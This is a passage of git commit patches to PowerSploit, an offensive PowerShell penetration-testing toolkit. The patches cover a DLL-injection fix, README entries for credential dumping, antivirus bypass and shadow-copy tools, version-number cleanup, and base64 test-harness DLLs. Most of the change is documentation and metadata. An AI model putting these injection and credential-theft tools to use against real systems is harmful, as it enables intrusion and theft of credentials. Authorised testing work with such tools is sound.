b/CodeExecution/Invoke-DllInjection.ps1 @@ -313,9 +313,11 @@ http://www.exploit-monday.com # Close process handle $CloseHandle.Invoke($hProcess) | Out-Null + Start-Sleep -Seconds 2 + # Extract just the filename from the provided path to the dll. - $FileName = Split-Path $Dll -Leaf - $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } + $FileName = (Split-Path $Dll -Leaf).ToLower() + $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.ToLower().Contains($FileName) } if (!$DllInfo) { From 70f25c90e2899e85f64a489a887cfb454c357d7a Mon Sep 17 00:00:00 2001 From: PowerShellMafia Date: Wed, 16 Dec 2015 15:24:18 -0800 Subject: [PATCH 069/296] Update README.md --- README.md | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index bb46a980..eaf000a1 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,5 @@ ### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: -### Note: All reverse engineering components of PowerSploit now reside in the [PowerShellArsenal](https://github.com/mattifestation/PowerShellArsenal). - ## CodeExecution **Execute code on a target machine.** @@ -92,7 +90,7 @@ Copies a file from an NTFS partitioned volume by reading the raw volume and pars #### `Invoke-Mimikatz` -Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. +Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. #### `Get-Keystrokes` @@ -197,6 +195,15 @@ For help on each individual command, Get-Help is your friend. Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. +## Contribution Rules + +We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following: + +* The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason. +* The module manifest needs to be updated to reflect the new function being added. +* A brief description of the function should be added to this README.md +* Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks! + ## Script Style Guide **For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.** @@ -238,4 +245,4 @@ Note: The tools contained within this module were all designed such that they ca * Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters. -* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output. \ No newline at end of file +* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output. From b01a8127bc71f5454762510ed09c69411dd3a403 Mon Sep 17 00:00:00 2001 From: PowerShellMafia Date: Wed, 16 Dec 2015 16:52:53 -0800 Subject: [PATCH 070/296] Added volume shadow copy functions to README.md --- README.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index eaf000a1..b818576c 100644 --- a/README.md +++ b/README.md @@ -104,6 +104,10 @@ Retrieves the plaintext password and other information for accounts pushed throu A function that takes screenshots at a regular interval and saves them to a folder. +#### `New-VolumeShadowCopy` + +Creates a new volume shadow copy. + #### `Get-VolumeShadowCopy` Lists the device paths of all local volume shadow copies. @@ -112,6 +116,10 @@ Lists the device paths of all local volume shadow copies. Mounts a volume shadow copy. +#### `Remove-VolumeShadowCopy` + +Deletes a volume shadow copy. + #### `Get-VaultCredential` Displays Windows vault credential objects including cleartext web credentials. @@ -155,7 +163,7 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit #### `Invoke-ReverseDnsLookup` -Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. +Scans an IP address range for DNS PTR records. #### `PowerView` From c2a70924e16cd80a1c07d9de82db893b32a4aba9 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 16 Dec 2015 17:07:39 -0800 Subject: [PATCH 071/296] Removed all version numbers from scripts Scripts in a module should not be individually versioned. Only the module should be versioned. --- AntivirusBypass/AntivirusBypass.psd1 | 44 ------------------- .../Invoke-ReflectivePEInjection.ps1 | 5 +-- CodeExecution/Invoke-WmiCommand.ps1 | 2 - Exfiltration/Get-GPPPassword.ps1 | 1 - Exfiltration/Invoke-CredentialInjection.ps1 | 1 - Exfiltration/Invoke-Mimikatz.ps1 | 14 +----- Exfiltration/Invoke-NinjaCopy.ps1 | 2 - Exfiltration/Invoke-TokenManipulation.ps1 | 2 - Exfiltration/VolumeShadowCopyTools.ps1 | 4 -- PowerSploit.psd1 | 3 +- Recon/Invoke-Portscan.ps1 | 4 -- 11 files changed, 5 insertions(+), 77 deletions(-) diff --git a/AntivirusBypass/AntivirusBypass.psd1 b/AntivirusBypass/AntivirusBypass.psd1 index 29949c1c..507cfdb2 100644 --- a/AntivirusBypass/AntivirusBypass.psd1 +++ b/AntivirusBypass/AntivirusBypass.psd1 @@ -1,5 +1,4 @@ @{ - # Script module or binary module file associated with this manifest. ModuleToProcess = 'AntivirusBypass.psm1' @@ -24,39 +23,6 @@ Description = 'PowerSploit Antivirus Avoidance/Bypass Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' @@ -74,14 +40,4 @@ ModuleList = @(@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID # List of all files packaged with this module FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 4a1d0e81..990c4b1e 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -153,13 +153,10 @@ Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-Refl .LINK -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection +http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ -Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ - #> [CmdletBinding()] diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 index c15d478d..0c064243 100644 --- a/CodeExecution/Invoke-WmiCommand.ps1 +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -1,5 +1,3 @@ -#Requires -Version 2 - function Invoke-WmiCommand { <# .SYNOPSIS diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index ea87de4a..768a0d2d 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -9,7 +9,6 @@ function Get-GPPPassword { License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.4.2 .DESCRIPTION diff --git a/Exfiltration/Invoke-CredentialInjection.ps1 b/Exfiltration/Invoke-CredentialInjection.ps1 index f4357bd4..a7b312d2 100644 --- a/Exfiltration/Invoke-CredentialInjection.ps1 +++ b/Exfiltration/Invoke-CredentialInjection.ps1 @@ -13,7 +13,6 @@ function Invoke-CredentialInjection License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 1.1 .DESCRIPTION diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 6934584e..c701f63c 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -15,9 +15,7 @@ Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. License: http://creativecommons.org/licenses/by/3.0/fr/ Required Dependencies: Mimikatz (included) Optional Dependencies: None -Version: 1.5 -ReflectivePEInjection version: 1.1 -Mimikatz version: 2.0 alpha (2/16/2015) +Mimikatz version: 2.0 alpha (12/14/2015) .DESCRIPTION @@ -62,15 +60,7 @@ Find mimikatz at: http://blog.gentilkiwi.com .LINK -Blog: http://clymb3r.wordpress.com/ -Benjamin DELPY blog: http://blog.gentilkiwi.com - -Github repo: https://github.com/clymb3r/PowerShell -mimikatz Github repo: https://github.com/gentilkiwi/mimikatz - -Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ -Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ - +http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ #> [CmdletBinding(DefaultParameterSetName="DumpCreds")] diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 index 36cef8dd..15bee1b9 100644 --- a/Exfiltration/Invoke-NinjaCopy.ps1 +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -25,8 +25,6 @@ Contributors: This script has a byte array hardcoded, which contains a DLL wich License: GPLv3 or later Required Dependencies: None Optional Dependencies: None -Version: 1.1 -ReflectivePEInjection version: 1.1 .DESCRIPTION diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index 90f9d474..3a61da8e 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -49,8 +49,6 @@ Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.12 -(1.11 -> 1.12: Simple logic added by Josh M. Bryant to find an unprotected process to grab a SYSTEM token from, rather than hardcoding to wininit, https://www.fixtheexchange.com/) .DESCRIPTION diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 index 9d6952e1..579dd0e9 100644 --- a/Exfiltration/VolumeShadowCopyTools.ps1 +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -10,7 +10,6 @@ function Get-VolumeShadowCopy License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.0.0 #> $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) @@ -35,7 +34,6 @@ function New-VolumeShadowCopy License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.0.0 .DESCRIPTION @@ -121,7 +119,6 @@ function Remove-VolumeShadowCopy License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.0.0 .DESCRIPTION @@ -180,7 +177,6 @@ function Mount-VolumeShadowCopy License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.0.0 .DESCRIPTION diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 678294b8..0137fd7a 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -41,5 +41,6 @@ ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUI @{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}, @{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, - @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'} ) + @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}, + @{ModuleName = 'PrivEsc'; ModuleVersion = '1.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} ) } diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index 99bbb895..6f059e25 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -15,10 +15,6 @@ Optional Dependencies: None Does a simple port scan using regular sockets, based (pretty) loosely on nmap -.NOTES - -version .13 - .PARAMETER Hosts Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in From 55098d59e9f07efdef9bbae5fa998a7f448e6556 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 16 Dec 2015 17:08:49 -0800 Subject: [PATCH 072/296] Removed version numbers from scripts A module should maintain a version number not the individual scripts. --- Recon/Get-ComputerDetails.ps1 | 6 ------ 1 file changed, 6 deletions(-) diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetails.ps1 index 33e8d068..bd00deb9 100644 --- a/Recon/Get-ComputerDetails.ps1 +++ b/Recon/Get-ComputerDetails.ps1 @@ -9,7 +9,6 @@ Function: Get-ComputerDetails Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION @@ -102,7 +101,6 @@ Function: Find-4648Logons Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION @@ -230,7 +228,6 @@ Function: Find-4624Logons Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION @@ -376,7 +373,6 @@ Function: Find-AppLockerLogs Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION @@ -442,7 +438,6 @@ Function: Find-AppLockerLogs Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION @@ -523,7 +518,6 @@ Function: Find-RDPClientConnections Author: Joe Bialek, Twitter: @JosephBialek Required Dependencies: None Optional Dependencies: None -Version: 1.1 .DESCRIPTION From 98ebc1b0b8b64d069d34d80c128aa226b5e8416f Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Thu, 17 Dec 2015 18:50:15 -0800 Subject: [PATCH 073/296] Invoke-ReflectivePEInjection test harnesses updated Affected test harness PEs were updated to work in XP. Addresses issue #100 --- Tests/CodeExecution.tests.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Tests/CodeExecution.tests.ps1 b/Tests/CodeExecution.tests.ps1 index 2771e780..514cb918 100644 --- a/Tests/CodeExecution.tests.ps1 +++ b/Tests/CodeExecution.tests.ps1 @@ -225,11 +225,11 @@ Describe 'Invoke-ReflectivePEInjection' { # A bare bones test harness DLL that simply writes "Hello, world!" to %TEMP%\testoutput.txt upon having VoidFunc called $Encoded64BitVoidDll = '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' - $Encoded32BitVoidDll = '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' + $Encoded32BitVoidDll = 